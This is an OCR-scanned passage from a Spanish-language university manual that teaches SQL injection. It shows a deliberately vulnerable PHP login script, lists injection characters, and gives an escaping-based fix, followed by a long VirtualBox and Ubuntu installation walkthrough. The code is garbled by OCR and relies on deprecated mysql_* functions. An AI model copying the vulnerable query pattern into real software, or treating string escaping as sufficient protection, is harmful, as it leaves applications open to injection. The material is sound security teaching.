es arrojar una fila al evaluar una de las partes como true), en este caso 1=1 se evalla
como verdadero. Como la clausula mysql_fetch_array($sel), lo que comprueba es si la
consulta ha devuelto resultados, ésta es la forma en la que un atacante se aprovechara

de ello para conseguir validarse.

En el caso de las consultas anteriores se han devuelto valores, por tanto la aplicacién ha
devuelto un mensaje de éxito, se consiguié acceder.

sesion exitosa

llustracién 277: Conexion Exitosa
Analizando laS.gu.icauv v oo - TSI
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Ahora que probamos saltar el formulario de logueo con codigo SQL intruso nos dimos
cuenta que nuestra aplicacion tiene problemas con la seguridad. El codigo utilizado fue
escrito con la intensibn de que fuera inseguro para que pudiera dar paso a que
funcionaran nuestras Inyecciones SQL. El archivo verificar.php es donde se hace la
conexién con la base de datos y también la consulta programada para obtener los datos
deseados, por tanto es en este archivo en donde nos vamos a centrar para analizar los

puntos a tener en cuenta para evitar ser atacados por Inyecciones SQL.

Echemos un vistazo a nuestro archivo verificar.php

<?php
session_start();
include ("conexion.php") ;

S$con=mysql connect (Shost, Suser, Spw)or die("problemas con server");
mysql select_db(Sdb, Scon)or die("problemas con BD");

$sel=mysql query ("SELECT * FROM registro WHERE USER='$_POST[user]'
AND PW='§ POST[pw]'") or die (mysql error());
if (mysql fetch array (Ssel))
{
$ SESSION['username']=$ POST['user'];
echo "sesion exitosa";

}else

{

echo "combinacion erronea";

}
?>

llustracion 278: Archivo Verificar.php

La funcion del codigo es crear una conexion con el servidor, seleccionar la base de datos,
ejecutar una consulta y comprobar si esa consulta devuelve resultados. En el c6digo no
se hace un saneamiento de los datos de entrada, simplemente se toma lo que tienen los
campos de texto del formulario, por lo que es facil para un atacante introducir cédigo SQL
malicioso en cualquiera de los campos para alterar el funcionamiento de nuestra

aplicacion.

Es importante sanear los datos de entrada antes de ejecutar nuestra consulta, ya que
existen caracteres como comilla simple (‘), doble guidon (--), numeral (#), pleca asterisco

(/*), entre otros, los cuales son utilizados para atacar con inyecciones SQL.
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La funcibn mysql_real_scape_string() es usada para sanear cadenas de caracteres en
sentencias SQL.

Los siguientes caracteres son afectados:

e \x00
e \n

o \r

o |\

e \xla

Podemos usar esta funcidn en nuestro cédigo y evitar que se usen caracteres usados
para atacar nuestra aplicacién. Y con una simple modificacion en el codigo quedarian

saneadas las entradas del formulario, quedando nuestro cédigo de la siguiente manera.

<?php
session_start();
include ("conexion.php") ;

Scon=mysql_connect ($host, Suser, $pw) or die("problemas con server");
mysqgl_select_db (3db, Scon)or die("problemas con BD");

Suser = mysql_real escape_string (S POST['user']);

Spwd = mysql real escape_string($ POST['pw']);

Ssel=mysql query ("SELECT * FROM registro WHERE USER = '" . Suser . "'
AND PW = '" . Spwd . "'") or die (mysql_error());

if (mysql_fetch array($sel))

{
$ SESSION['username']=$ POST['user'];
echo "sesion exitosa";

}else

{

echo '"combinacion erronea';

}
?>

llustracion 279: Formulario Saneado.

Unan-Ledén Pagina 313




Practica de Inyecciones SQL #2.

En los ataques planteados se observa que se intentaba entrar sin tener contrasefa, por
tanto se dejaba en blanco dicho campo. Teniendo esto en cuenta otra manera de
defendernos puede ser modificar nuestro codigo para que no pueda hacerse la consulta si

no se llenaron ambos campos del formulario.
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Creando maquina virtual con VirtualBox.

Archive  Maquina Ayuda

> L "OL 1l &
% -1-\_!-5' 5+ ¢ Detalles [E] Instantaneas

Mueva Configuraddén Inicar Descartar

:"‘4-’- Window Server clo... /= General /=] previsualizacién i
Bobs) @ Apagace
Mombre: Ubuntu Server
I .f" Window XP Sistema operativo: Ubuntu
ﬁ ‘® Apagada - Sistema
[© Ubuntu Destok Memoria base: 512 MB
e @ Apagada Orden de arranque: Disquete, CD/DVD-ROM, Disco duro
Aceleracidn: VT-xfAMD-V, Paginaddn anidada, PAE/MX

@ BackTracks
e (@) Apagada

m

o)
1 @ Pantalla
Memoria de video: 12 MB
Servidor de escritorio remoto:  Inhabilitado
() Almacenamiento
Controller: IDE
IDE secundario maestro:  [CD/DVD] Vado
Controller: SATA
Puerto SATA O: Ubuntu Server.vdi (Mormal, 5.11 GB)
= Audio
Controlador de anfitridn:  wWindows DirectSound
Controlador: ICH ACS7
=P Red =
=n
llustracion 280: Interfaz de VirtualBox.
Instalacion.
Descargaremos la altima version del software en el sitio
https://www.virtualbox.org/wiki/Downloads para su instalacion, VirtualBox es

multiplataforma por lo tanto podemos utilizarla en Windows (XP o superior) o Linux. Los
pasos para su instalacion es sencillo puede visitar el sitio

http://www.trucoswindows.net/forowindows/manuales-programas/104617-manual-

virtualbox-paso-paso.html , nosotros nos vamos a enfocar en mostrar cOmo crear una

maquina virtual con el sistema operativo Ubuntu en el documento.

Ya habiendo descargado VirtualBox de acorde a su sistema operativo necesitaremos una
imagen ASO de Ubuntu desktop que podemos bajar del sitio

http://www.ubuntu.com/download/desktop ya con esto podemos seleccionar crear una

nueva maquina virtual en VirtualBox que describiremos a continuacion.
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Instalacion del sistema virtual.

Seleccionamos el boton Nueva y nos aparece la ventana donde daremos nombre a
nuestra maquina virtual, tipo de plataforma que vamos a instalar en este caso Linux y
version del sistema operativo Ubuntu, cabe sefialar que en Tipo podemos usar
plataformas como Windows, Mac OS X, Solaris y otras. Damos click en Next para pasar a
la siguiente ventana.

~ Z
el
{:} L:r} 3 Instantdneas

Nueva Configuracion Iniciar Descartar
* )| window Server clo... =] General [E]  previsualizacién =
F0s) @ Avosee

Nombre: Ubuntu Server
p Window XP Sistema-cpecaiiv— el

“xp] (@ Apagada

oL

Ubuntu Destok
@) Apagada

Nombre y sistema operativo

@ Apagada

m

A
’ _@)a BackTrack5

Seleccione un nombre descriptivo para la nueva maquina virtual y seleccione el tipo de
sistema operativo que tiene intencidn de instalar en ella. El nombre que seleccione
sera usado por VirtualBox para identificar esta maquina.

Nombre: Ubuntu_Desktop

Tipo: [Unux ']

Version: [Ubuntu - ]

Con [Ocultar desa'ipdén][ Next ][ Cancelar ]

llustracion 281: Creando la Maquina Virtual.
Asignar memoria RAM al sistema operativo.

En la siguiente pantalla nos pedird que asignemos la cantidad de memoria RAM que se
asignard a la maquina virtual por defecto se le asigna 512 MB, aunque podemos
aumentar el tamafio dependiendo a nuestra necesidad, aunque no podemos darle un
tamafio muy alto ya que el programa no me permitira crear la maquina virtual, mostrando

un mensaje donde explica que he asignado demasiada memoria.
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@ @ D

Configuracién Iniciar Descartar

Window Server clo...
@ Apagada

Window XP
@ Apagada

Ubuntu Destok
@) Apagada

BackTrack5
@) Apagada

Tamano de memoria

Seleccione la cantidad de memoria (RAM) en megabytes a ser reservada para la
maquina virtual.

El tamafio de memoria recomendado es 512 MB.

Controlador de anfitrion: Windows DirectSound
Controlador: ICH AC97

=F Red

llustracion 282: Asignando la cantidad de memoria RAM en Megabytes

Crear disco duro virtual.

Es este paso tenemos que agregar el disco virtual que es donde se va almacenar su

maquina virtual, por defecto tiene un espacio de almacenamiento virtual de 8GB para

plataformas Linux, aunque su tamafio puede varias segun el sistema operativo que

vallamos a virtualizar. Hay tres opciones escogeremos las segunda crear un disco duro

virtual ahora. La ultima opcién sirve para crear un disco virtual para una maquina que ya

fue creada y solamente queremos correr el archivo .VDI.

Unidad de disco duro

Si desea puede agregar una unidad de disco duro wvirtual a la
Nnuewva maquina. Puede crear un Nnuevo archivo de unidad de disco
duro o seleccionar uno de la lista o de otra ubicacidn usando =l
icono de la carpeta.

. Sinecesita una configuracidn de almacenamiento Mmas compleja
pusde omitir este paso vy hacer los cambios a la configuracian de la
maquina wvirtual una vez creada.

El tamaifo recomendado de la unidad de disco duro es 8.0 B,
7 Do not add a virtual hard drive
¥ Create a virtual hard drive nowe

i Use an existing wirtual hard drive file

I Vacio

= Anterior I Crear I

llustraciéon 283: Creando la unidad de disco duro.
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Anexo.

Tipo de archivo del disco duro virtual.

En este paso vamos a escoger el formato .VDI imagen de disco virtual no cambiemos a
otro formato, si no vamos a crear otro tipo de software de virtualizacion, luego pulsamos

en Next para el siguiente paso.

Archivo laquina  Ayuda
2 .+ s Detalles Instantdneas

Nueva Configuraddén Inicar Descapia

;4 Window Server clo...

@ Apagada R Croar i o S ‘
= _________ I
Window XP
‘ﬁs @ Apagada i Tipo de archivo de unidad de disco duro
\ @rﬂ %"!"t“ ﬁ"k Seleccione el tipo de archivo que le gustaria usar para la unidad de disco duro virtual. Si no necesita
g 1 usarla con otro software de virtualizacién puede dejar esta preferencia sin cambiar.

m

\ @)’ 8ck’l’rac:5 @ VDI (virtualBox Disk Image)
74 Apagada

~) VMDK (Virtual Machine Disk)

@) VHD (Virtual Hard Disk)

() HDD (Parallels Hard Disk)
@) QED (QEMU enhanced disk)
~) QCOW (QEMU Copy-On-Write)

[Ocultar descripcién][ Next ][ Cancelar ] I “

llustracion 284: Tipo de Archivo de Disco Duro Virtual.

Almacenamiento en la disco duro.

Este paso es muy importante aqui debemos especificar si damos un tamafo estatico o
reservamos dinamicamente el espacio del disco duro virtual, la mejor opcion es reservar
dinamicamente porque podemos tener la necesidad de instalar aplicaciones o programas
en el sistemas operativo que vamos a Vvirtualizar, y el disco duro se expandira
autométicamente dependiendo del espacio que necesite la aplicacion, pulsamos en boton
Next.

Unan-Leén Pagina 319




B B D

Nueva Configuracién Inidar Descagta

Window Server clo...

@ Apagada € EErontste e

Window XP

@ Apagada ] Almacenamiento en unidad de disco duro fisico

%":pt:gada ok Selecdione si el nuevo archivo de unidad de disco duro virtual deberia crecer segin se use (reserva

dindmica) o si deberia ser creado con su tamafio maximo (tamafio fijo).

BackTracks Un archivo de unidad de disco duro reservado dinamicamente solo usara espacio en su disco
Apagada duro fisico a medida que se llena (hasta el mdximo tamariio fijo), aunque no se reducird de nuevo
automaticamente cuando el espacio en €l se libere.

Un archivo de unidad de disco duro de tamaiio fijo puede llevar crearlo mas tiempo en algunos
sistemas pero normalmente es mas rapido al usarlo.

@ Reservado dindmicamente

) Tamario fijo

llustracion 285: Almacenamiento de Disco Duro.

Tamafo del archivo.

En la siguiente pantalla te aparecera la ubicacién donde se creara el disco virtual y su

tamanio, clic en “Next”.

Ubicacion del archivo v tamafio

Escriba el nembre del archivo de unidad de disco dure virtual en la caja de abajo o haga dic en el
icono de carpeta para seleccionar una carpeta diferente en la gue crear el archivo.

Ubuntu_Desktop

Seleccione el tamaifio de la imagen de unidad de disco duro virtual en megabytes. Esto determinard
la cantidad limite gue la maguina wvirtual podra almacenar en la unidad de disco duro.

D 524,70 MB
<.00 MB 2.00TEB

[ Crear ][ Cancelar ]

llustracién 286: Tamaro del Archivo.
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Finalmente debe seleccionar el tamafio del disco virtual si selecciono que el espacio se
asigne dinamicamente, el archivo pesara pocos MB, pero luego va a ir aumentando a
medida que el disco se llene. En primer lugar va a ocupar el tamafio del disco o del
sistema alrededor de unos 650MB.

Para terminar la configuracion de la maquina virtual debe especificar la ubicacién de la
imagen .ISO del sistema operativo y debemos especificar que se utilice como DVD-ROM
virtual y montamos la imagen .ISO en la unidad para su instalacion y simplemente las
ejecutamos y el sistema operativo se va a instalar como si estuviera instalandose en

cualquier ordenador.

En esta figura se refleja lo que hemos mencionado anteriormente, primeros nos vamos a
menu maquina luego a configuracién y almacenamiento, en esa interfaz es donde

vamos a montar la imagen .iso en una unidad DVD.

Archive Maquina Ayuda

g Tgr _ks
'z‘x:} "\—3-}' i+t Detalles | [E) Instantdneas

Mueva | Configuradén | Inicar Descartar

:"‘-ﬂ Window Server clo... l@, General l@, Previsualizacién

@ Apagada

Mombre: Ubuntu_Desktop

1 g Window XP Sistema operativo: Ubuntu
e & -
| @ El Ubuntu Destok Memoria base: 512 MB Ubl.l ntu Desktop

@ Apagada Crden de arrangue: Disguete, CD/DVD-ROM, Disco duro

Aceleracion: WT-x/AMD-\, Paginacion anidada, PAE/MX
(2| BackTracks
= @ Apagada

| [ Ubuntu Server
(nt @) Apagada [E Pantalla

Memoria de video: 12 MB
| (D) Servidor de escritorio remoto:  Inhabilitado

(ZJ Almacenamiento

Controller: IDE
IDE secundario maestro:  [CDJ/DVD] Vaco
Controller: SATA
Puerto SATA O: Ubuntu_Desktop. vdi (Mormal, 525,00 MEB)

= Audio

Controlador de anfitridn:  Windows DirectSound
Controlador: ICH ACS7

= Red

Adrministrar la configuracién de la maquina virtual

llustracion 287: Seleccionando la Maquina a Iniciar.
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General | Almacenamiento

Sistema

Arbol de almacenamiento

5 ‘> Controller: IDE Unidad CD/DVD: y i
Almacenamiento = IDE primario masstro
Audic (EET IDE primario esdavo

. Informadidn IDE secundario maestro
'@ Controller: SATA IDE secundario esdavo

Pantalla

Red

Tipo:
@ Ubuntu_Desktop, wdi IEO
Puertos serie Tamarfio: —

USE Ubicadién: -
Conectado a:  —

=
@
&
=
&
&
=]

Carpetas compartidas

@ @a e

Sehjmfammkgﬂﬁdem}fg’fmdeb&hdeém&edaymmdra@ﬂﬁem
alemenito de configuracon para obfener mas rfonmacon.

[ Acepter | [ Cancelar | [ Ayuda

llustracion 288: Interfaz para montar la imagen 1SO.

# Seleccione un archive de disco

——
- <« ISOS Linux h Ubuntu Destok Buscar Ubuntu Destok Fel
g

Crganizar - Muewva carpeta H= = [l @

Camtasia Estuc = Mombre Fecha de modifica... Tipe
cisco_VIRTUAL

f_-i ubuntu-10.10-desktop-i386 19/05/2011 11:43 a... PowerlSO Fil
Clases Jose Cal

E_} ubuntu-11.10-desktop-i386 17/01/2013 02:04 a... Powerl50O Fil
Curso de meca

Curso_Inatec
Cursos SMP_20
CV lose
Driver_Lenowvo
Dropbox
FFOutput
Game
Help Desk

. ISOS Linux

. Jose_Calero_5.4
a

< |

MNombre: ubuntu-11.10-desktop-i386 - [Todcrs los archivos de discos 6 v]

[ Abrir | | cancelar |

llustracion 289: Buscando la Imagen 1SO en el directorio.
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Archive Maquina Ayuda
- T d i
3 U T {+4 Detalles Instantdneas
Mueva Configuracion | Mostrar | Descartar
7 Mostrar
u Window Server c"J = l&h General ] previsualizacién -
(@) Apagada
Mombre: Ubuntu_Desktop
“ 'J_l{indow XP Sistema operativo:  Ubuntu
ﬁ @ Apagada M Sistema
o] Ubuntu Destok Memoria base: 512MB
b @} Apagada Orden de arrangue: Disguete, CD/DVD-ROM, Disco duro
E— Aceleracidn: WT-x/AMD-Y, Paginacion anidada, PAEMNX
O] BackTracks
j (@) Apagada =
‘ JA Ubuntu Server
/| @ Apagada Pantalla
@ Memoria de video: 12 MB
| = [i) Servidor de escritorio remoto:  Inhabilitade

(J Almacenamiento

llustracion 290: Iniciando la Maquina Virtual.

Ya terminado este paso podemos dar la respectiva instalacion del sistema operativo
Ubuntu en el software VirtualBox y damos a click en Mostrar.

Instalacion de Ubuntu en virtualBox.

La instalacion no es nada dificil es sencilla, es como si estuviéramos trabajando en un
entorno fisico y no virtual se siguen los mismos pasos para la instalacién. Lo primero que
nos pedira es el Idioma para comunicarse con nosotros, en esta parte no nos funciona el

ratén por lo que nos desplazamos con el teclado.

File Wirtual Machine Help

ubuntu®

F1 Auuda Fz Idioma FS Teclado F4 Modos FS ibilidad FEe Otras

To grab input, press Cerl=G LA = =l & B
llustracién 291: Iniciando la instalacién de Ubuntu.
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Anexo.

File Virtual Machine Help

© Instalar

Bienvenido/a

Bosanski
Catala
Eestina
Dansk
Deutsch
Eesti
English
Espanol
Esperanto
Euskara
Frangais
Gaeilge
Galego
Hrvakski
islenska

Es posible que quiera leer las notas de publicacién

Continuar

To grab input, press Ctri+G PRl
llustracion 292: Eligiendo el idioma de Ubuntu desktop.

Damos clic en continuar.

File Wirtual Machine Help

© Instalar
Preparando la instalacién de Ubuntu

Para obtener los mejores resultados, aseglrese que este equipo:
tiene al menos 4.5 GB de espacio en disco disponible
esta conectado a Internet

B Descargar actualizaciones mientras se instala

Ubuntu usa software de terceros para mostrar Flash, MP3 y otros archivos multimedia y para trabajar con
algunos dispositivos inalambricos. Parte de este software es de cédigo cerrado. El software esta sujeto a
los términos de la licencia incluida con la documentacion del mismo.

& Instalar este software de terceros
El complemente Fluendo MP3 incluye la tecnologia de decodificacién de audio MPEG Layer-3 licenciada por Fraunhofer IS y
Thomson

Continuar

To grab input, press CErl+G [

llustracion 293: Preparando la instalacion de Ubuntu desktop.
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Aqui hace un pequefio chequeo del disco duro a ver si hay espacio disponible, en caso de
tener solo un disco duro con Windows, si no queda capacidad nos advertira, por el mero
hecho de que no podremos redimensionar la particion ya que dafiariamos los datos
almacenados, pero seguro que no es el caso. Marcamos las casillas que significa que se
descargaran las actualizaciones que se puedan durante la instalacion (Algunas no se
podran) y activamos los repositorios de terceros, software que no puede incluirse en el

sistema por tema de licencias privativas. [Continuar]

Marcamos [Borrar disco e instalar Ubuntu] [Continuar].

Ubuntu 64-bit - VMware Player = -]

File Wirtual Machine Help

Instalar

Tipo de instalacion

En este equipo no se ha detectado actualmente ningdn sistema operativo. ;Qué desea hacer?

Borrar disco e instalar Ubuntu
(O] Aviso: Esto eliminara todos los archives del disco.

Algo mas
Puede crear particiones, redimensionarlas, o elegir varias
particiones para Ubunktu.

| Salir || Akras | | Continuar

I i I

To release inpuk, press Cerl+Alt = e m || [ E % El

llustracion 294: Eligiendo el tipo de instalacion.

Comenzard la instalacion y como esto tarda un rato para no aburrirnos vamos dandole los

datos que nos pide, 6sea que ponemos donde nos encontramos [Continuar].
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File Virtual Machine Help

Instalar

;Doénde se encuentra?

Canary

Continuar ‘

» Copiando archivos...

=1 [

)
To grab input, press Ctrl+G =] h'ﬂw ‘!‘a % B
llustracion 295: Eligiendo la ubicacion.

El siguiente paso es crear el Usuario, Nombre de nuestra PC y contrasefia esperamos un
poco g termine de instalarse y podemos ver las novedades del sistema operativo Ubuntu
11.10.

File Virtual Machine Help

Instalar

;Quién es usted?

Sunombre: |ace
Elnombre de suequipo: |ace-virtual-desktop &
El nombre que usa cuando habla con otros equipos.

Introduzca un nombre de usuario: ace N/

i

Introduzca una contrasena: 0000009 Contrasefia débil
Confirme su contrasena: |....... A).l o

@ Iniciar sesién automaticamente
Solicitar mi contrasefa para iniciar sesiéon

Cifrar mi carpeta personal

Continuar ‘

» Copiando archivos...

=

=1 n )
To grab input, press Ctrl+G el .13

llustracion 296: Agregando el nombre de usuario y su password.
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Cuando acabe nos pedira que reiniciemos PC [Reiniciar Ahora].

File Virtual Machine Help

GHMU GRUE we

eric (modo r

To grab input, press Ctrl+G = | E:! | I!l % ﬁ

llustracion 297: Reiniciando el sistema Operativo Ubuntu Desktop.

File Virtusl Machine Help

ace-virtual-desktop

Other...

ace

Password:

Guest Session

ubuntt

To grab input, press Ctrl+G HeMes =l & ™

llustracion 298: Iniciando el Sistema e ingresando la cuenta de usuario y password.
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